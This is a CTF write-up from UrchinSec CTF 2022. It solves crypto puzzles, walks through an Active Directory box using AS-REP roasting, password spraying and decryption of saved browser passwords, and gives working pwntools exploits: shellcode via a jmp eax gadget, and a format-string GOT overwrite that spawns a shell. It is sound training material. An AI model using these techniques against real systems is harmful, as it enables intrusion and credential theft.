# UrchinSec CTF ![](https://i.imgur.com/Vme4o1J.png) This was a pretty easy CTF(not) organized by <a href="https://twitter.com/urchinsec_">Urchinsec</a>. I have to say, the pwn challenges were lethal, though i blooded them all! ![](https://i.imgur.com/G12pJQ3.png) Also, i won first place. ![](https://i.imgur.com/J4VPDb7.png) ### **First Chall: Encode** A pretty easy crypto chall, we're given ascii chars and decoding them, gives us the flag. Ofcourse, i did this in python. ```python= #!/usr/bin/python3 # @author: mug3njutsu char = [117, 114, 99, 104, 105, 110, 115, 101, 99, 123, 36, 77, 109, 51, 114, 95, 67, 116, 102] flag = "".join(map(chr, char)) print(f"{flag}}}") ``` ```bash= ➜ encode_COMPLETE python3 a.py urchinsec{$Mm3r_Ctf} ``` It was missing one character though, "u", but you could easy tell haha. ### **Second chall: 0_junction** ``` fcnstydpn{c0e4etyR_t5_qFy_ctRsE?} ``` Another pretty easy crypto chall, we're given a weird string. Decided to try rotate it using `caesar`. ```bash= ➜ 0_junction_COMPLETE for i in {1..26}; do echo "fcnstydpn{c0e4etyR_t5_qFy_ctRsE?}" | caesar $i; done | grep -oE "urchinsec{.*}" urchinsec{r0t4tinG_i5_fUn_riGhT?} ``` ### **Third chall: Hello World** We're given a PE32+ executable. The first thing i decided to do was run strings on it even before i ran it in dnspy. ```bash= ➜ hello_world_COMPLETE strings HelloWorld.exe| grep -oE "{.*}" wtejkpuge{rgyrgy_jgnnq_yqtnf_00} ``` Interesting. Tried it rotating with caesar like the previous chall. ```bash= ➜ hello_world_COMPLETE for i in {1..26}; do echo "wtejkpuge{rgyrgy_jgnnq_yqtnf_00}" | caesar $i; done | grep -oE "urchinsec{.*}" urchinsec{pewpew_hello_world_00} ``` Easy easy. ### **Fourth chall: Rsa 101** ``` p = 116539179879652151176105396048353249883633020780654934359362411701318246280927424046983609013716262950820130523043109550200708980729664033389413434262618274808097102622429955299336461317874271163689290113346406528334042197653851006361289944356617296409900458940968034830604158716960556361596884111273424177983 q = 179139224892675733322133378621139835757654145688312748034403022582848414565953240077680452603215436218343981483561966648281372212619062382268906576752868205733129547950513097435708098223482786768828971763458872737134435892679188628748860488376962592028715120586749461172961879221891790999585799485453037252121 e = 65537 ct = 6440950579105877847857171514969318348063012512157222578470479475223073983070980839033720685622941698637564933999757975265712030185421056458491030970643398111863784327566520271116579290613588427070982941273341967246117412029932681078769611581258584799031937847301143696044818873017184694757672708756634908093104670357263941896311073892191312593183933054752547190322213129815665376070645009809006272449814962089332121846423907291800676520267745839273950360697110332601872845694465904295229001082756034243010343094282158193598134656230743116698583886195399561378070401076557003940953126875078108806268605813490646714156 ``` Looks like an easy RSA chall. I have to admit, i used rsactftool to solve this when doing the ctf, it's the adrenaline of solving challs quick, but, later ofcourse i decided to python my way out. ```python= #!/usr/bin/python3 # @author: mug3njutsu from Crypto.Util.number import * p = 116539179879652151176105396048353249883633020780654934359362411701318246280927424046983609013716262950820130523043109550200708980729664033389413434262618274808097102622429955299336461317874271163689290113346406528334042197653851006361289944356617296409900458940968034830604158716960556361596884111273424177983 q = 179139224892675733322133378621139835757654145688312748034403022582848414565953240077680452603215436218343981483561966648281372212619062382268906576752868205733129547950513097435708098223482786768828971763458872737134435892679188628748860488376962592028715120586749461172961879221891790999585799485453037252121 e = 65537 ct = 6440950579105877847857171514969318348063012512157222578470479475223073983070980839033720685622941698637564933999757975265712030185421056458491030970643398111863784327566520271116579290613588427070982941273341967246117412029932681078769611581258584799031937847301143696044818873017184694757672708756634908093104670357263941896311073892191312593183933054752547190322213129815665376070645009809006272449814962089332121846423907291800676520267745839273950360697110332601872845694465904295229001082756034243010343094282158193598134656230743116698583886195399561378070401076557003940953126875078108806268605813490646714156 n = p*q phi = (p-1)*(q-1) d = inverse(e, phi) m = pow(ct, d, n) flag = bytes.fromhex(hex(m)[2:]).decode() print(flag) ``` ```bash= ➜ rsa_101_COMPLETE python3 a.py urchinsec{h3re_w3_g0_w1th_b@by_rsa_1_49c7abb1} ``` ### **Fifth chall: Secret door** We're given a JAR file. The easiest way to analyze such file is by using `jadx-gui`. You can install it by running `sudo apt install jd-gui`. ![](https://i.imgur.com/pYlafkI.png) The only interesting thing here really is the unicode characters. We can decode those in python ofcourse. ```python= #!/usr/bin/python3 # @author: mug3njutsu char = [109, 111, 114, 101, 95, 97, 117, 116, 104, 95, 103, 48, 105, 110, 103, 95, 108, 51, 51, 116, 95, 49, 51, 51, 55, 95, 117, 114, 99, 104, 105, 110] flag = "".join(map(chr, char)) print(f"Urchinsec{{{flag}}}") ``` ```bash= ➜ secret_door_COMPLETE python3 a.py Urchinsec{more_auth_g0ing_l33t_1337_urchin} ``` ### **Sixth chall: Shell** ``` fixsrmhvx{4gy4hs_Xrks3i_4o50_4ezro4yo3} ``` We're given some weird strings here and looking at the chall name, it most likely seems to be `atbash` cipher. You could decode that here <a href="https://www.dcode.fr/atbash-cipher">dcode-fr-atbash-decode</a>. But because i could do this in python, made a script for that. ```python= #!/usr/bin/python3 # @author: mug3njutsu char_dict = {'a' : 'z', 'b' : 'y', 'c' : 'x', 'd' : 'w', 'e' : 'v', 'f' : 'u', 'g' : 't', 'h' : 's', 'i' : 'r', 'j' : 'q', 'k' : 'p', 'l' : 'o', 'm' : 'n', 'n' : 'm', 'o' : 'l', 'p' : 'k', 'q' : 'j', 'r' : 'i', 's' : 'h', 't' : 'g', 'u' : 'f', 'v' : 'e', 'w' : 'd', 'x' : 'c', 'y' : 'b', 'z' : 'a', '{' : '{', '}' : '}', '_' : '_', '0' : '0', '1' : '1', '2' : '2', '3' : '3', '4' : '4', '5' : '5', '6' : '6', '7' : '7', '8' : '8', '9' : '9'} def atbash(message): cipher = '' for letter in message: if(letter != ' '): cipher += char_dict[letter] else: cipher += ' ' return cipher def main(): #decrypt the given message message = 'fixsrmhvx{4gy4hs_Xrks3i_4o50_4ezro4yo3}' print(atbash(message.lower())) # Executes the main function if __name__ == '__main__': main() ``` ```bash= ➜ shell_COMPLETE python3 a.py urchinsec{4tb4sh_ciph3r_4l50_4vail4bl3} ``` ### **Seventh chall: sym_enc** ``` gAAAAABivcJaCoaP-qgnAqSQaxVbrm2vGLY2qYd4f9Fa9oKXpd7fu6jPx6wPZ0mDyOW5pwnv6wdTw9jq8ajh8QDMy9FPiY-GBc3Q-vvuyjOTUwiaQH50h9AjCFqSy6Fq4tzexn1VeU3x" 4A7nUW5ykW234oZ2tE3AQWrXcLUydn607_lO_OYL3bA= ``` We're given some weird strings here. Aaand, if you've played ctfs for some time, you will notice that this is fernet cipher. Again, i could easily decode this in python. ```python= #!/usr/bin/python3 # @author: mug3njutsu from cryptography.fernet import Fernet cipher = b"gAAAAABivcJaCoaP-qgnAqSQaxVbrm2vGLY2qYd4f9Fa9oKXpd7fu6jPx6wPZ0mDyOW5pwnv6wdTw9jq8ajh8QDMy9FPiY-GBc3Q-vvuyjOTUwiaQH50h9AjCFqSy6Fq4tzexn1VeU3x" key = b"4A7nUW5ykW234oZ2tE3AQWrXcLUydn607_lO_OYL3bA=" f = Fernet(key) flag = f.decrypt(cipher).decode() print(flag) ``` ```bash= ➜ sym_enc_COMPLETE python3 a.py urchinsec{symmetric_encryption_is_fun} ``` ### **Eighth chall: Trustie** We're given a hash to crack and it's hinted that the password is 9 characters long and the first five characters are uppercase or lowercase and the last 4 characters. I could do this with hashcat like this `hashcat -m 0 -a 3 -1 ?u -2 -?l?u -3 ?d hash ?2?2?2?2?2?d?d?d?d`, but because i prefer pain, decided to play around with ruby. ```ruby= #!/usr/bin/env ruby # @author: mug3njutsu require 'digest/md5' $my_hash = "8097b1af7d65311f65841604b93d952e" def attempt(guess) if Digest::MD5.hexdigest("urchinsec{#{guess}}") == $my_hash then puts "Flag: urchinsec{#{guess}}" exit end end #First five either uppercase or lowercase, last 4 digits for a in "A".."Z" for b in "A".."Z" for c in "a".."z" for d in "a".."z" for e in "a".."z" for f in "0".."9" for g in "0".."9" for h in "0".."9" for i in "0".."9" permutes = [a, b, c, d, e, f, g, h, i].permutation.map &:join for guess in permutes attempt(guess) end end end end end end end end end puts "a=" + a end ``` ### **Ninth chall: RoyalTour** This was an interesting windows box, and it's interesting because the hint i found somewhere on this box didn't really help me get the user blood, so when i told the author <a href="https://twitter.com/blackninja233/">blackninja</a> about it, he was super pissed xD. It starts with basic enumeration on SMB to find a hint pointing to its website. There are users listed under the blogs and ofcourse as a good red teaming practice, you have to tweak the names to match the format on the box. After that, i tried to harvest the non-preauth AS_REP responses for those users, got one user's hash and cracked his password. Accessed SMB shares again, but this time found a `passwords.txt` file and i used this to spray across the list of users with crackmapexec. Again, on the users desktop, there was an interesting archived file that had the user's Mozilla profile. I then used firepwd to decrypt the protected passwords. With this user's pass, i could access the administrator's desktop and grab the root flag. #### **Nmap Scan** ``` # nmap -T4 -sC -sV -p- -oN nmap_scan -v 10.10.39.207 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: Royal Tour |_http-server-header: Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-14 11:32:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: royaltour.local0., Site: Default-First-Site-Name) 443/tcp open ssl/http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=ROYALTOUR | Issuer: commonName=ROYALTOUR | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-06-28T14:10:30 | Not valid after: 2022-12-28T14:10:30 | MD5: 242b f64c 7794 e42f eaad c897 2ecf 88fd |_SHA-1: e4af 26e9 5210 9ca8 1eb9 e183 f517 d61b b86f e394 |_http-server-header: Microsoft-IIS/10.0 |_ssl-date: TLS randomness does not represent time 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: royaltour.local0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 3389/tcp open ms-wbt-server? | rdp-ntlm-info: | Target_Name: ROYALTOUR0 | NetBIOS_Domain_Name: ROYALTOUR0 | NetBIOS_Computer_Name: ROYALTOUR | DNS_Domain_Name: royaltour.local | DNS_Computer_Name: ROYALTOUR.royaltour.local | Product_Version: 10.0.20348 |_ System_Time: 2022-07-14T11:34:20+00:00 |_ssl-date: 2022-07-14T11:34:46+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=ROYALTOUR.royaltour.local | Issuer: commonName=ROYALTOUR.royaltour.local | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-06-28T23:32:51 | Not valid after: 2022-12-28T23:32:51 | MD5: 2035 ba0a c87d 20d9 2bc8 3f06 fd09 6095 |_SHA-1: 9bde 8593 2b59 c5e5 2fd1 f882 71d4 126d fd6e 9a5c 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49676/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC 49691/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49700/tcp open msrpc Microsoft Windows RPC Service Info: Host: ROYALTOUR; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2022-07-14T11:34:10 |_ start_date: N/A Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . ``` #### **Enumeration** I'll do a proper writeup for this machine later because as per now, it's having issues but lemme go through my notes. With null authentication on SMB, i was able to access one share that had the hint i was taking about earlier, then when i tried listing the previous directory, i could get a list of users. `Administrator, DNiclassic, FMrisho, NTrustie` Then i used GetNPUsers to get the hash of the user `NTrustie`. ```bash= ➜ royal_tour_COMPLETE cat asrep.hash $krb5asrep$NTrustie@ROYALTOUR.LOCAL:22c2fc23097c842f336f9cd5243587ef$9d664f355957620f13ed69a9a8b2a0a379fe251de13e997e8514f7e8799e72d517f9eca48ab6b88b99619479ce1506117b33b3b3b483bde2653ddb071cfc048889087749464304658e97dca79db842b02afb7b64cccbd4dfe601ff5dc9acfae099b0f58c6aa78a4596d9399edb8ebde327454eab7ceb5d998908b41d5813e3aaab4ed9a865063b6bbbd0ecd6c9bc56ece70db9d22975a60fdfd640504120c57444ea780419a3c7878320e8883443f577e2814620da4d693065a68eafc22d681c1243833d472fa4a6095080bae34093ad79daae1aa7d9a314d2b7c7e23f4dcc5f123bd682092fb4163822167d455a49c9c791 ``` Cracking this hash, reveals the pass `tourism`. Logging in to SMB, i found a share with `passwords.txt` and spraying against the list of users reveals the password for the user `FMrisho` which is `urchinsec{AllfortheloveofAdministrator}`. Logging in using evil-winrm, i found `Mozilla.rar` file in the user's desktop. Grabbing the file and decompressing it on my machine, i noticed it stored his Mozilla profile so i decided to use `firepwd` to decrypt the stored passwords and that revealed the password `urchinsec{p@ss2q_}` for the user `DNiclassic`. Funny enough, this user was a Domain Admin and hence i could easily login using evil-winrm and read the root flag from the administrator's desktop. Let's have a look at the pwn challs now. ![](https://i.imgur.com/5pnDBkZ.png) ### **Tenth chall: BabySteps** This was a very basic on stack execution binexp chall. ```bash= ➜ small_steps_COMPLETE file smallsteps smallsteps: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=024ea71b7f42c2549ad809204abd18ff437babd6, for GNU/Linux 3.2.0, not stripped ``` We can see that it's a non-stripped 32-bit executable. Let's look at it's properties. ```bash= ➜ small_steps_COMPLETE checksec smallsteps [*] '/home/mug3njutsu/ctf/urchinsec_ctf_2022/small_steps_COMPLETE/smallsteps' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` From this, we can see that the GOT is read-only based off of `Partial RELRO`, there are no `stack canaries` hence we could most likely perform a buffer overflow, `NX disabled` means that the stack is executable meaning we could like write shellcode and jump to it, `No PIE` just means we don't have to worry about ASLR, and finally `RWX` means the program has segments that are writeable and executable at the same time meaning we can inject and execute code. Let's decompile the program using radare. ``` 0x080492c4 e877fdffff call sym.imp.gets ; char *gets(char *s) ``` We can see the weakness of the program right at this point. And the reason is `gets()` reads all the available data and it basically doesn't have limitations hence, the buffer overflow. The classic thing to do at this point is to find the offset before overflowing the `return` function because what we can do here is write shellcode and then jump to it as we saw it has `NX` disabled. I'll use pwndgb for this. ```bash= EAX 0xffffce70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' EBX 0x61616166 ('faaa') ECX 0xf7f9c580 (_IO_2_1_stdin_) ◂— 0xfbad208b EDX 0xfbad208b EDI 0x8049090 (_start) ◂— xor ebp, ebp ESI 0x1 EBP 0x61616167 ('gaaa') ESP 0xffffce90 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' EIP 0x61616168 ('haaa') ``` ```bash= pwndbg> cyclic -l haaa 28 ``` Awesome! The offset is 28. Another interesting thing to notice here is that our input is being written to `EAX`. Let's look for a useful gagdet using `ropgadget`. ```bash= 0x08049545 : jmp eax ``` Looks good enough. So, how this will play out is, we first overflow the return function, then the` jmp_eax` gadget will move us back to the NOP sled and this is where we write the shellcode and it gets executed. ```python= #!/usr/bin/python3 # @author: mug3njutsu from pwn import * context.binary = target = ELF("./smallsteps", checksec=False) if args.REMOTE: io = remote("192.155.82.73", 1025) else: io = process() offset = cyclic_find("haaa") buf = b"A"*offset shellcode = asm(shellcraft.cat('flag.txt')) payload = flat([ 0x08049545, shellcode ]) final_payload = buf + payload io.recvuntil(b'\n') io.sendline(final_payload) flag = re.findall(r'.*{.*}', io.recvall().decode())[0] success(flag) ``` ```bash= ➜ small_steps_COMPLETE python3 a.py [+] Starting local process '/home/mug3njutsu/ctf/urchinsec_ctf_2022/small_steps_COMPLETE/smallsteps': pid 23036 [+] Receiving all data: Done (568B) [*] Stopped process '/home/mug3njutsu/ctf/urchinsec_ctf_2022/small_steps_COMPLETE/smallsteps' (pid 23036) [+] mug3njutsu{f4k3_fl4g_f0r_t3st1ng} ``` Well, that was lots of fun! ### **Eleventh chall: Oil Spill** This chall was terrifying for many reasons because it was an interesting, to-hell-and-back, `GOT Overwrite`. ```bash= ➜ spill_oil_COMPLETE file OilSpill OilSpill: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2416e3ec3d914986433313b6ab0262068b611d65, not stripped ``` We can see that it's a non-stripped 64-bit executable. Let's look at it's properties. ```bash= ➜ spill_oil_COMPLETE checksec OilSpill [*] '/home/mug3njutsu/ctf/urchinsec_ctf_2022/spill_oil_COMPLETE/OilSpill' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` So there's a `stack canary` and `NX` is enabled, ouch! But hey, we have `no RELRO` which means we can overwrite the `GOT` entries. Running the binary, it seems to be printing some random addresses. ```bash= ➜ spill_oil_COMPLETE ./OilSpill 0x7fd461c86e10, 0x7fd461c689e0, 0x7ffdd90c21a0, 0x400677 Oh no! We spilled oil everywhere and its making everything dirty do you have any ideas of what we can use to clean it? ``` The gist of this chall was that the binary is printing addresses on the GOT, the first one being that of `puts`, which should allow us to calculate the libc base address. In addition to that, there is also a format specifier vulnerability. ```bash= 0x004006c2 488b05570520. mov rax, qword [reloc.printf] ; [0x600c20:8]=0 0x004006c9 4889c2 mov rdx, rax 0x004006cc 488b05450520. mov rax, qword [reloc.puts] ; sym..got [0x600c18:8]=0 0x004006d3 4889c6 mov rsi, rax 0x004006d6 488d3d410100. lea rdi, str._p___p___p___p_n ; 0x40081e ; "%p, %p, %p, %p\n" ``` What i did here was i overwrote the .got entry by utilizing `puts` that outputs "Interesting Propotion" and overwriting it with `system('/bin/sh\x00')`. Don't come after me. ```bash= ; 0x600c80 ; "Interesting Proposition" ``` Here's puts. ```bash= ➜ spill_oil_COMPLETE ./OilSpill 0x7f16f62eae10, 0x7f16f62cc9e0, 0x7fff78fee950, 0x400677 Oh no! We spilled oil everywhere and its making everything dirty do you have any ideas of what we can use to clean it? I am a super noob, i don't know shit at all I am a super noob, i don't know shit at all Interesting Proposition ``` Here's my exploit for this. ```python= #!/usr/bin/python3 # @author: mug3njutsu import re from pwn import * target = context.binary = ELF("./OilSpill", checksec=False) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) if args.REMOTE: io = remote('192.155.82.73', 1035) else: io = process() def leak_libc(): addresses = re.findall(r'0x[\w\d]+', io.recvlineS()) puts_addr = int(addresses[0], 16) return puts_addr def calc_base(puts_addr): libc_base = puts_addr - libc.sym.puts log.info("Base Leak Off Puts: %#x" % libc_base) libc.address = libc_base def got_write_sys(): payload_writes = { target.got.puts: libc.sym.system, next(target.search(b"Interesting")): b"/bin/sh\x00" } payload = fmtstr_payload(8, payload_writes, write_size='short') io.sendline(payload) io.interactive() calc_base(leak_libc()) got_write_sys() ``` ```bash= ➜ spill_oil_COMPLETE python3 a.py [+] Starting local process '/home/mug3njutsu/ctf/urchinsec_ctf_2022/spill_oil_COMPLETE/OilSpill': pid 29815 [*] Base Leak Off Puts: 0x7f1109c73000 [*] Switching to interactive mode Oh no! We spilled oil everywhere and its making everything dirty do you have any ideas of what we can use to clean it? $ cat flag.txt mug3njutsu{f4k3_fl4g_f0r_t3st1ng} ``` ### **Twelfth Chall: Lucky** This was a pretty fun chall. ```bash= ➜ lucky_COMPLETE file lucky lucky: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5217eafa761d984055f6594428929ec21dced8f3, not stripped ``` We see that it's a non-stripped 64-bit executable. Let's look at it's properties. ```bash= ➜ lucky_COMPLETE checksec lucky [*] '/home/mug3njutsu/ctf/urchinsec_ctf_2022/lucky_COMPLETE/lucky' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` Ahaa, `No canary` so buffer overflow?? Also `NX` is enabled and `PIE` is enabled. Let's analyze the binary using Ghidra. ```c= undefined8 main(void) { uint __seed; int iVar1; int iVar2; int iVar3; setvbuf(stdout,(char *)0x0,2,0); welcome(); __seed = seed(); srand(__seed); iVar1 = rand(); iVar2 = rand(); iVar3 = rand(); if (((iVar1 == 0x1241a2e5) && (iVar2 == 0x1a61bad0)) && (iVar3 == 0x6901b21)) { win(); } else { puts("Looks like you weren\'t lucky enough. Better luck next time!"); } return 0; } ``` Here's the main function. Let's look at the win function as well. ```c= void win(void) { undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; FILE *local_10; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_10 = fopen("flag.txt","r"); fread(&local_58,1,0x40,local_10); printf("Nice work! Here\'s the flag: %s\n",&local_58); return; } ``` It seems the program will print the flag only if rand will output the needed values. From the welcome function, we see that there isn't a buffer overflow just because the input is being fed into `fgets`. ```c= char local_18 [16]; printf("Enter your name: "); fgets(local_18,0x10,stdin); ``` It will only read the first 15 bytes and then terminate the string with a null-byte. ```bash= pwndbg> r Starting program: /home/mug3njutsu/ctf/urchinsec_ctf_2022/lucky_COMPLETE/lucky Enter your name: JohnCollinsTHEPWNER Welcome, JohnCollinsTHEP If you're super lucky, you might get a flag! GLHF :D Looks like you weren't lucky enough. Better luck next time! [Inferior 1 (process 119868) exited normally] ``` Let's set a breakpoint immediately after it reads our input and see the play here. With my input as `JohnCollinsTheG`, we see the value of RAX only being `G`. ```bash= pwndbg> regs RAX 0x47 ``` This is good because this means that we can control the seed value. But this was the hard part of this chall because we need to figure out the value needed to overwrite the seed with. Made a simple C program here to do exactly that. ```c= #include <stdio.h> #include <stdlib.h> int main() { for(unsigned int i = 0; i<0xffffff;i++){ srand(i); if(!(rand() == 306291429))continue; if(!(rand() == 442612432))continue; if(!(rand() == 110107425))continue; printf("seed = %i",i); } } ``` ```bash= ➜ lucky_COMPLETE ./seed seed = 5649426 ``` Sweet! The next thing we want to calculate how many bytes of padding we need to overwrite the value of `RAX`. ```bash= pwndbg> r Starting program: /home/mug3njutsu/ctf/urchinsec_ctf_2022/lucky_COMPLETE/lucky Enter your name: aaaaaaaaaaaaaaaaaaaaa Welcome, aaaaaaaaaaaaaaa If you're super lucky, you might get a flag! GLHF :D Breakpoint 1, 0x00005555555552e9 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────── RAX 0x616161 ``` ```python= >>> 15 - 3 12 ``` Makes sense. We pad with 12 bytes then overflow the seed value with 5649426. ```python= #!/usr/bin/python3 # @author: mug3njutsu import re from pwn import * context.binary = target = ELF("./lucky", checksec=False) if args.REMOTE: io = remote("192.155.82.73", 1030) else: io = process() pad = 12 payload = flat({ pad:5649426 }) io.recvuntil(b": ") io.sendline(payload) flag = re.findall(r'.*{.*}', io.recvall().decode())[0] success(flag) ``` ```bash= ➜ lucky_COMPLETE python3 a.py [+] Starting local process '/home/mug3njutsu/ctf/urchinsec_ctf_2022/lucky_COMPLETE/lucky': pid 30211 [+] Receiving all data: Done (142B) [*] Process '/home/mug3njutsu/ctf/urchinsec_ctf_2022/lucky_COMPLETE/lucky' stopped with exit code 0 (pid 30211) [+] Nice work! Here's the flag: mug3njutsu{f4k3_fl4g_f0r_t3st1ng} ``` Nicely done! Well, that was a tonne of fun, hope you learnt a thing or two. <style> .twitter a { font-family: "Roboto", "Noto Sans", "Open Sans", "sans-serif"; display: inline-flex; color: #fff; border-radius: 5px; background: #1b95e0; padding: .4em .8em; text-decoration: none; font-weight: bold; text-align: left; position: absolute; bottom:138px; left:15px; } </style> <div class="twitter" style="height: 110px; width: 300px;"><a target="_blank" rel="noopener noreferrer" href="https://twitter.com/mug3njutsu"> <svg height="20px" width="20px" style="margin-right: 5px; fill: #fff;" viewBox="0 0 512 512" preserveAspectRatio="none"> <path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" /></a></div> <style> body[style], body[style*="background-color: white;"] { background-color: #1e1e1e !important; } body { color: #abb2bf; } .ui-view-area, .markdown-body, .ui-content { background: #1e1e1e; color: #abb2bf; } h1, h2, h3, h4, h5, h6, p { color: #ddd; } /* form */ .form-control { background: #333; color: #fff; border-color: #8e8e8e; } .form-control::placeholder, .form-control::-webkit-input-placeholder, .form-control:-moz-placeholder, .form-control::-moz-placeholder, .form-control:-ms-input-placeholder { color: #eee; } /*--------------- navbar ---------------*/ .header { background-color: #0e0e0e; border-color: #0e0e0e; } .navbar { background-color: #0e0e0e; border-color: #0e0e0e; } .navbar a { color: #eee !important; } .navbar .btn-group label { background-color: #0e0e0e; color: #eee; border-color: #555; } .navbar .btn-group label.btn-default:focus, .navbar .btn-group label.btn-default:hover { background-color: #2a2a2a; color: #eee; border-color: #555; } .navbar .btn-group label.active { background-color: #555; color: #eee; border-color: #555; } .navbar .btn-group label.active:focus, .navbar .btn-group label.active:hover { background-color: #555; color: #eee; border-color: #555; } .navbar-default .btn-link:focus, .navbar-default .btn-link:hover { color: #eee; } .navbar-default .navbar-nav>.open>a, .navbar-default .navbar-nav>.open>a:focus, .navbar-default .navbar-nav>.open>a:hover { background-color: #555; } .dropdown-header { color: #eee; } .dropdown-menu { background-color: #222; border: 1px solid #555; border-top: none; } .dropdown-menu>li>a { color: #eee; } .dropdown-menu>li>a:focus, .dropdown-menu>li>a:hover { background-color: #555555; color: #eee; } .dropdown-menu .divider { background-color: #555; } .header .open .dropdown-menu { background-color: #202020; } .ui-share-menu .ui-share-copy, .ui-share-menu .ui-share-preview { border-color: #6d6d6d !important; background-color: #333 !important; color: #FFF !important; } .ui-share-menu .ui-share-copy:hover, .ui-share-menu .ui-share-copy:focus, .ui-share-menu .ui-share-preview:hover, .ui-share-menu .ui-share-preview:focus { background-color: #737373 !important; color: #FFF !important; } .permission-dropdown .ui-more-settings, .permission-dropdown .sidenav-trigger { color: #7bf; } .public-published-toggle .unpublish:hover { background-color: #286090; } .menuitem-dropdown .menuitem-dropdown-trigger { border-color: #8e8e8e; } .menuitem-dropdown .menuitem-dropdown-trigger:hover, .menuitem-dropdown .menuitem-dropdown-trigger:focus { background-color: #3e4045; } .navbar .announcement-popover { background: #4F4F4F; } .navbar .announcement-popover .announcement-popover-header { background: #2e2e2e; border-bottom: 1px solid #2e2e2e; } .navbar .announcement-popover .announcement-popover-body { background: #4F4F4F; color: #eee; } .navbar .announcement-popover .announcement-popover-footer { background: #4F4F4F; } .navbar .announcement-area .caption.inverse { color: #eee; } .label-warning { background-color: #ffc107; color: #212529; } /*--------------- history / recent ---------------*/ .list.row-layout li .item { border-color: #696c7d; } .list.row-layout li:nth-last-of-type(1) .item { border-bottom: none; } .list li .item { background: #1c1c1c; color: #fff; } .list li:hover .item, .list li:focus .item { background: #404040; } .list li .item h4 { color: #fff; } .list li p { color: #ccc; } .list li p i { font-style: normal; } .list li .item .content .tags span { background: #555; } .list li .item.wide .content .title a, .list li .item.wide .content .title a:focus, .list li .item.wide .content .title a:hover { color: #ddd; } .ui-item { color: #fff; opacity: 0.7; } .ui-item:hover, .ui-item:focus { opacity: 1; color: #fff; } .list li .item.wide hr { border-color: #6d6d6d; } .overview-widget-group .btn, .multi-select-dropdown-menu .ui-dropdown-label, .multi-select-dropdown-menu .dropdown-options, .form-control { border-color: 